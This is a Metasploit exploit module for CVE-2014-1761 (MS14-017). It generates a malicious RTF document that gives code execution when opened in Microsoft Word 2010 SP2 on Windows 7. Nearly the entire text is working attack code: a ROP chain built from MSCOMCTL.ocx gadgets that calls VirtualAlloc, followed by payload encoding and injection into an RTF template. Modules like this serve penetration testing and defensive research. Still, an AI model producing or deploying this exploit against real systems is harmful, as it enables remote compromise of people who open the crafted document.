MS14-017 Microsoft Word RTF Object Confusion

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "MS14-017 Microsoft Word RTF Object Confusion",  
'Description' => %q{  
This module creates a malicious RTF file that when opened in  
vulnerable versions of Microsoft Word will lead to code execution.  
The flaw exists in how a listoverridecount field can be modified  
to treat one structure as another.  
  
This bug was originally seen being exploited in the wild starting  
in April 2014. This module was created by reversing a public  
malware sample.  
},  
'Author' =>  
[  
'Haifei Li', # vulnerability analysis  
'Spencer McIntyre',  
'unknown' # malware author  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2014-1761'],  
['MSB', 'MS14-017'],  
['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'],  
['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/']  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'StackAdjustment' => -3500,  
'Space' => 375,  
'DisableNops' => true  
},  
'Targets' =>  
[  
# winword.exe v14.0.7116.5000 (SP2)  
[ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English', { } ],  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'Apr 1 2014'))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf'])  
], self.class)  
end  
  
def exploit  
junk = rand(0xffffffff)  
rop_chain = [  
0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx]  
junk,  
junk,  
0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx]  
0x2758b042, # RETN [MSCOMCTL.ocx]  
0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx]  
0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx]  
0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx]  
0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx]  
0x40000000,  
0x00100000,  
0x00003000,  
0x00000040,  
0x00001000,  
0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx]  
junk,  
0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx]  
junk,  
junk,  
junk,  
junk,  
0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx]  
0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx]  
junk,  
0x40000000,  
0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx]  
junk,  
junk,  
junk,  
junk,  
0x40000040  
].pack("V*")  
  
exploit_data = [ junk ].pack("v")  
exploit_data << rop_chain  
exploit_data << payload.encoded  
exploit_data << make_nops(exploit_data.length % 2)  
exploit_data = exploit_data.unpack("S<*")  
exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }  
exploit_data = exploit_data.join  
  
template_part1 = 0x1e04  
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf")  
template_rtf = ::File.open(template_path, 'rb')  
  
exploit_rtf = template_rtf.read(template_part1)  
exploit_rtf << exploit_data  
exploit_rtf << template_rtf.read  
  
file_create(exploit_rtf)  
end  
end  
`